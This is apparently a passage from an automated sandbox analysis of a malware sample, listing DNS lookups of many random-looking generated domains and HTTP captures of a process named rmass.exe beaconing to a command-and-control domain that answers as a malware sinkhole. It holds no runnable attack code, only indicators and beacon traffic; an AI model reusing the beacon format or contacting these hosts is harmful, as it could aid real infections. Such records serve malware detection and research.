Dec 4, 2023 12:35:43.932955980 CET	1.1.1.1	192.168.2.6	0xe09f	Name error (3)	xygoimlwqag.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:44.127090931 CET	1.1.1.1	192.168.2.6	0xb9d1	Name error (3)	xygoimlwqag.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:44.342324018 CET	1.1.1.1	192.168.2.6	0x4e87	No error (0)	yekmsfmwcwocqq.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:44.613869905 CET	1.1.1.1	192.168.2.6	0x5a50	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:44.714109898 CET	1.1.1.1	192.168.2.6	0xf5d7	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:44.925374031 CET	1.1.1.1	192.168.2.6	0x5477	Name error (3)	ywemtskiggg.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:45.186335087 CET	1.1.1.1	192.168.2.6	0x64f1	Name error (3)	ywemtskiggg.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:45.546415091 CET	1.1.1.1	192.168.2.6	0x311	No error (0)	oadvlaconzhai.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:45.860052109 CET	1.1.1.1	192.168.2.6	0xb1c3	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:45.973171949 CET	1.1.1.1	192.168.2.6	0x8c27	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:46.285501003 CET	1.1.1.1	192.168.2.6	0xf9c	Name error (3)	afiomoagjsqeo.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:46.484580040 CET	1.1.1.1	192.168.2.6	0x72ea	Name error (3)	afiomoagjsqeo.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:46.964108944 CET	1.1.1.1	192.168.2.6	0xc5cc	No error (0)	rinurug.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:48.757590055 CET	1.1.1.1	192.168.2.6	0xb1ac	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:48.857779026 CET	1.1.1.1	192.168.2.6	0xc867	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:49.061671019 CET	1.1.1.1	192.168.2.6	0x8da7	Name error (3)	asmqldwuiwcwm.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:49.162080050 CET	1.1.1.1	192.168.2.6	0xebcf	Name error (3)	asmqldwuiwcwm.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:49.373949051 CET	1.1.1.1	192.168.2.6	0x5bd0	Name error (3)	dzqug.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:49.488464117 CET	1.1.1.1	192.168.2.6	0xab1d	Name error (3)	dzqug.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:49.701752901 CET	1.1.1.1	192.168.2.6	0x69eb	No error (0)	zmiska.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:49.973705053 CET	1.1.1.1	192.168.2.6	0x917d	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:50.090559006 CET	1.1.1.1	192.168.2.6	0xb70a	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:50.295644045 CET	1.1.1.1	192.168.2.6	0x3810	Name error (3)	gwmswyupyceds.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:50.405402899 CET	1.1.1.1	192.168.2.6	0xb455	Name error (3)	gwmswyupyceds.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:50.608354092 CET	1.1.1.1	192.168.2.6	0x1596	Name error (3)	tosfexa.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:50.934966087 CET	1.1.1.1	192.168.2.6	0xea58	Name error (3)	tosfexa.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:51.154941082 CET	1.1.1.1	192.168.2.6	0x5148	Name error (3)	igymrlorytmwc.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:51.259021997 CET	1.1.1.1	192.168.2.6	0xc513	Name error (3)	igymrlorytmwc.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:51.561043024 CET	1.1.1.1	192.168.2.6	0xc354	Name error (3)	kefoqi.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:51.756463051 CET	1.1.1.1	192.168.2.6	0x53a7	Name error (3)	kefoqi.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:51.966166019 CET	1.1.1.1	192.168.2.6	0x3589	No error (0)	pcqkpgmgrgx.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:52.239128113 CET	1.1.1.1	192.168.2.6	0x5208	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:52.341223001 CET	1.1.1.1	192.168.2.6	0x5d25	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:52.546946049 CET	1.1.1.1	192.168.2.6	0x9663	Name error (3)	wqsfxtzkmcu.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:52.825970888 CET	1.1.1.1	192.168.2.6	0x8edd	Name error (3)	wqsfxtzkmcu.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:53.033473969 CET	1.1.1.1	192.168.2.6	0x661d	No error (0)	cpkkmssiqdbky.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:53.319124937 CET	1.1.1.1	192.168.2.6	0xd08e	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:53.428767920 CET	1.1.1.1	192.168.2.6	0x4c24	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:53.890486002 CET	1.1.1.1	192.168.2.6	0x1324	Name error (3)	akeuusm.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:54.256963015 CET	1.1.1.1	192.168.2.6	0xac10	Name error (3)	akeuusm.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:54.628031015 CET	1.1.1.1	192.168.2.6	0xee22	Name error (3)	iidoygkltzmou.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:54.729238033 CET	1.1.1.1	192.168.2.6	0xdca	Name error (3)	iidoygkltzmou.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:55.171617985 CET	1.1.1.1	192.168.2.6	0xb123	Name error (3)	gtmubeksl.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:55.532572985 CET	1.1.1.1	192.168.2.6	0x388c	Name error (3)	gtmubeksl.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:55.941601992 CET	1.1.1.1	192.168.2.6	0xde6a	Name error (3)	lkseeysm.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:56.282862902 CET	1.1.1.1	192.168.2.6	0x9d95	Name error (3)	lkseeysm.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:56.497113943 CET	1.1.1.1	192.168.2.6	0x10f2	No error (0)	mexuvggwn.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:56.784322977 CET	1.1.1.1	192.168.2.6	0x1a88	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:56.892947912 CET	1.1.1.1	192.168.2.6	0xd81a	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:57.166372061 CET	1.1.1.1	192.168.2.6	0x5802	No error (0)	givmmivuiyq.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:57.448883057 CET	1.1.1.1	192.168.2.6	0xc58	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:57.566061974 CET	1.1.1.1	192.168.2.6	0xf831	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:57.790107965 CET	1.1.1.1	192.168.2.6	0xb035	Name error (3)	yyucqk.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:58.176433086 CET	1.1.1.1	192.168.2.6	0x6e04	Name error (3)	yyucqk.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:58.389796972 CET	1.1.1.1	192.168.2.6	0x3144	Name error (3)	jqueouldxzhhc.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:58.602950096 CET	1.1.1.1	192.168.2.6	0x3f15	Name error (3)	jqueouldxzhhc.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:58.811047077 CET	1.1.1.1	192.168.2.6	0xda1a	No error (0)	otvidufz.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:59.073870897 CET	1.1.1.1	192.168.2.6	0x1cb6	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:59.190941095 CET	1.1.1.1	192.168.2.6	0x14a5	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:59.406045914 CET	1.1.1.1	192.168.2.6	0x3909	No error (0)	imuic.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:59.697160006 CET	1.1.1.1	192.168.2.6	0x946	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:59.794300079 CET	1.1.1.1	192.168.2.6	0x2b2	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:00.016817093 CET	1.1.1.1	192.168.2.6	0x1738	Name error (3)	kkbumqmyujocu.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:00.120760918 CET	1.1.1.1	192.168.2.6	0xf53d	Name error (3)	kkbumqmyujocu.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:00.326518059 CET	1.1.1.1	192.168.2.6	0xbe67	Name error (3)	gnkag.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:00.433748960 CET	1.1.1.1	192.168.2.6	0x7632	Name error (3)	gnkag.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:00.639285088 CET	1.1.1.1	192.168.2.6	0xc0ea	Name error (3)	idyxomuegyumh.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:00.890849113 CET	1.1.1.1	192.168.2.6	0x5de	Name error (3)	idyxomuegyumh.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:01.371036053 CET	1.1.1.1	192.168.2.6	0x4e5e	Name error (3)	aeuodisoo.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:01.706084967 CET	1.1.1.1	192.168.2.6	0x4fb8	Name error (3)	aeuodisoo.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:01.919723034 CET	1.1.1.1	192.168.2.6	0x43e	Name error (3)	opsiyrygcixpmu.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:02.031487942 CET	1.1.1.1	192.168.2.6	0x927d	Name error (3)	opsiyrygcixpmu.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:02.457667112 CET	1.1.1.1	192.168.2.6	0x1ee1	Name error (3)	tacmystokqc.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:02.776612997 CET	1.1.1.1	192.168.2.6	0xa898	Name error (3)	tacmystokqc.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:02.983613968 CET	1.1.1.1	192.168.2.6	0xbc00	Name error (3)	asnowslrmxc.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:03.100513935 CET	1.1.1.1	192.168.2.6	0xb63a	Name error (3)	asnowslrmxc.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:03.310520887 CET	1.1.1.1	192.168.2.6	0x3798	Name error (3)	jxuuggggk.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:03.410267115 CET	1.1.1.1	192.168.2.6	0xac6c	Name error (3)	jxuuggggk.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:03.714720011 CET	1.1.1.1	192.168.2.6	0x1a6f	Name error (3)	oybwemypqqd.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:03.818799973 CET	1.1.1.1	192.168.2.6	0x2315	Name error (3)	oybwemypqqd.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:04.264213085 CET	1.1.1.1	192.168.2.6	0xd24b	Name error (3)	nufasydbseiax.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:04.638497114 CET	1.1.1.1	192.168.2.6	0x59b2	Name error (3)	nufasydbseiax.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:04.841079950 CET	1.1.1.1	192.168.2.6	0xa773	No error (0)	igwhowmy.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:05.138062954 CET	1.1.1.1	192.168.2.6	0xbc18	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:05.247435093 CET	1.1.1.1	192.168.2.6	0x3896	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:05.455074072 CET	1.1.1.1	192.168.2.6	0x60ba	Name error (3)	uekqcmykw.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:05.560640097 CET	1.1.1.1	192.168.2.6	0x8abf	Name error (3)	uekqcmykw.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:06.011234999 CET	1.1.1.1	192.168.2.6	0x6d9b	Name error (3)	ktyrs.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:06.682921886 CET	1.1.1.1	192.168.2.6	0xf227	Name error (3)	ktyrs.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:06.981551886 CET	1.1.1.1	192.168.2.6	0xc807	Name error (3)	aypoarfksecsc.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:07.181689024 CET	1.1.1.1	192.168.2.6	0x5f45	Name error (3)	aypoarfksecsc.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:07.632575989 CET	1.1.1.1	192.168.2.6	0x95b3	Name error (3)	ygmgq.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:07.971472025 CET	1.1.1.1	192.168.2.6	0x9719	Name error (3)	ygmgq.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:08.390073061 CET	1.1.1.1	192.168.2.6	0x3793	Name error (3)	csobayuhekvla.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:08.498101950 CET	1.1.1.1	192.168.2.6	0x1621	Name error (3)	csobayuhekvla.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:08.963785887 CET	1.1.1.1	192.168.2.6	0x849d	Name error (3)	xgikausivxwzy.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:09.302534103 CET	1.1.1.1	192.168.2.6	0xc774	Name error (3)	xgikausivxwzy.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:09.611680984 CET	1.1.1.1	192.168.2.6	0xb21c	Name error (3)	zbgockeg.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:09.810153961 CET	1.1.1.1	192.168.2.6	0x6001	Name error (3)	zbgockeg.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:10.734807014 CET	1.1.1.1	192.168.2.6	0xca7f	Name error (3)	gnhlmcih.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:11.058896065 CET	1.1.1.1	192.168.2.6	0x8909	Name error (3)	gnhlmcih.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:11.356784105 CET	1.1.1.1	192.168.2.6	0x773	No error (0)	bamku.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:11.672522068 CET	1.1.1.1	192.168.2.6	0x55dd	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:11.771920919 CET	1.1.1.1	192.168.2.6	0x216c	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:11.983721972 CET	1.1.1.1	192.168.2.6	0x730e	Name error (3)	ymwkgkg.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:12.084625959 CET	1.1.1.1	192.168.2.6	0x2d86	Name error (3)	ymwkgkg.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:12.295744896 CET	1.1.1.1	192.168.2.6	0xa409	Name error (3)	qnsqksa.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:12.498744965 CET	1.1.1.1	192.168.2.6	0xc0c8	Name error (3)	qnsqksa.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:12.793744087 CET	1.1.1.1	192.168.2.6	0x3b1	Name error (3)	wckmtskxmyeicc.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:12.992295027 CET	1.1.1.1	192.168.2.6	0xe747	Name error (3)	wckmtskxmyeicc.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:13.204267025 CET	1.1.1.1	192.168.2.6	0xc2e8	No error (0)	inyaa.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:13.499727011 CET	1.1.1.1	192.168.2.6	0x2bf4	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:13.649868011 CET	1.1.1.1	192.168.2.6	0xd6b1	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:13.960850000 CET	1.1.1.1	192.168.2.6	0xbb3d	Name error (3)	eqjpscl.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:14.158679962 CET	1.1.1.1	192.168.2.6	0xbed2	Name error (3)	eqjpscl.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:14.572751999 CET	1.1.1.1	192.168.2.6	0x8321	Name error (3)	qicnawevodqu.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:14.899230957 CET	1.1.1.1	192.168.2.6	0x1e6e	Name error (3)	qicnawevodqu.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:15.114437103 CET	1.1.1.1	192.168.2.6	0xbdac	Name error (3)	coiibqmkmgy.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:15.215616941 CET	1.1.1.1	192.168.2.6	0x7426	Name error (3)	coiibqmkmgy.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:15.422988892 CET	1.1.1.1	192.168.2.6	0x3a9c	No error (0)	ecswcomtsjyfa.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:15.745023012 CET	1.1.1.1	192.168.2.6	0xceb7	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:15.843455076 CET	1.1.1.1	192.168.2.6	0x397c	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:16.046854019 CET	1.1.1.1	192.168.2.6	0x8247	Name error (3)	qazpmu.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:16.214412928 CET	1.1.1.1	192.168.2.6	0x1036	Name error (3)	qazpmu.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:16.521861076 CET	1.1.1.1	192.168.2.6	0x6791	Name error (3)	wkyunesozky.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:16.733577967 CET	1.1.1.1	192.168.2.6	0x5da1	Name error (3)	wkyunesozky.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:16.975306034 CET	1.1.1.1	192.168.2.6	0xf18f	Name error (3)	smbkzs.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:17.094264030 CET	1.1.1.1	192.168.2.6	0xe01c	Name error (3)	smbkzs.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:17.301057100 CET	1.1.1.1	192.168.2.6	0x94ac	Name error (3)	qoemipjwv.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:17.621565104 CET	1.1.1.1	192.168.2.6	0xd28f	Name error (3)	qoemipjwv.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:18.065207005 CET	1.1.1.1	192.168.2.6	0xf88c	Name error (3)	yicvwfgkc.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:18.428147078 CET	1.1.1.1	192.168.2.6	0xc6e6	Name error (3)	yicvwfgkc.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:18.625626087 CET	1.1.1.1	192.168.2.6	0xf774	Name error (3)	tyzysm.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:18.749905109 CET	1.1.1.1	192.168.2.6	0x49e3	Name error (3)	tyzysm.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:19.117001057 CET	1.1.1.1	192.168.2.6	0x3ce0	Name error (3)	mlnvwxmb.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:19.227138042 CET	1.1.1.1	192.168.2.6	0xbb6	Name error (3)	mlnvwxmb.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:19.732618093 CET	1.1.1.1	192.168.2.6	0xb4fc	Name error (3)	qeywh.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:19.994007111 CET	1.1.1.1	192.168.2.6	0x1fd6	Name error (3)	qeywh.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:22.182245970 CET	1.1.1.1	192.168.2.6	0xdbba	Name error (3)	uboee.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:22.373512983 CET	1.1.1.1	192.168.2.6	0xbb86	Name error (3)	uboee.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:22.576553106 CET	1.1.1.1	192.168.2.6	0xac59	No error (0)	gcjmtzioi.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:22.890327930 CET	1.1.1.1	192.168.2.6	0xcdb8	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:22.990874052 CET	1.1.1.1	192.168.2.6	0x8419	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:23.460228920 CET	1.1.1.1	192.168.2.6	0x973c	Name error (3)	tkeauqkgkazmn.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:23.752686977 CET	1.1.1.1	192.168.2.6	0x5e30	Name error (3)	tkeauqkgkazmn.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:23.967823029 CET	1.1.1.1	192.168.2.6	0x9577	Name error (3)	ooybhuv.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:24.295397997 CET	1.1.1.1	192.168.2.6	0x79a4	Name error (3)	ooybhuv.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:24.723182917 CET	1.1.1.1	192.168.2.6	0xc958	Name error (3)	avscooaicdshq.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:25.578965902 CET	1.1.1.1	192.168.2.6	0xcd89	Name error (3)	avscooaicdshq.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:25.876976013 CET	1.1.1.1	192.168.2.6	0xd603	Name error (3)	uioqinqw.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:26.091012955 CET	1.1.1.1	192.168.2.6	0xe868	Name error (3)	uioqinqw.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:26.295100927 CET	1.1.1.1	192.168.2.6	0x76e8	Name error (3)	wmjwdixoh.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:26.545308113 CET	1.1.1.1	192.168.2.6	0xdb9c	Name error (3)	wmjwdixoh.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:26.839397907 CET	1.1.1.1	192.168.2.6	0x5676	Name error (3)	cjufzqjzsqsfh.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:27.069003105 CET	1.1.1.1	192.168.2.6	0x5eee	Name error (3)	cjufzqjzsqsfh.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:27.416831017 CET	1.1.1.1	192.168.2.6	0x42c3	No error (0)	ccjasobgowmrg.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:27.709021091 CET	1.1.1.1	192.168.2.6	0x46d1	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:27.953882933 CET	1.1.1.1	192.168.2.6	0x73f	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:28.604943991 CET	1.1.1.1	192.168.2.6	0x55f	Name error (3)	kpnkkzi.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:29.172261953 CET	1.1.1.1	192.168.2.6	0x192b	Name error (3)	kpnkkzi.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:29.423269033 CET	1.1.1.1	192.168.2.6	0x6804	Name error (3)	ogsdabuwibmkq.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:29.678931952 CET	1.1.1.1	192.168.2.6	0x9c8e	Name error (3)	ogsdabuwibmkq.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:29.968789101 CET	1.1.1.1	192.168.2.6	0x48c8	Name error (3)	xmppjqkmlcssm.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:30.164395094 CET	1.1.1.1	192.168.2.6	0x3ac	Name error (3)	xmppjqkmlcssm.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:30.923355103 CET	1.1.1.1	192.168.2.6	0xaf86	Name error (3)	bjuai.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:31.177639961 CET	1.1.1.1	192.168.2.6	0x8725	Name error (3)	bjuai.pw	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

utbidet-ugeas.biz

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:32:35.601783991 CET	223	OUT	GET /d/N?02F4017805F4017805DA015405F401B55C56B0B4C7F501B8ADF6074E2BC62F4137C4315605 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Dec 4, 2023 12:32:35.784997940 CET	173	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:32:35 GMT Connection: close X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49711	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:32:36.248354912 CET	255	OUT	GET /d/N?02F4017805F4017805DA015405F401B55C56B0B4C7F501B8ADF6074E2BC62F4137C4315605 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Dec 4, 2023 12:32:36.430315018 CET	178	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:32:36 GMT Connection: keep-alive X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49714	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
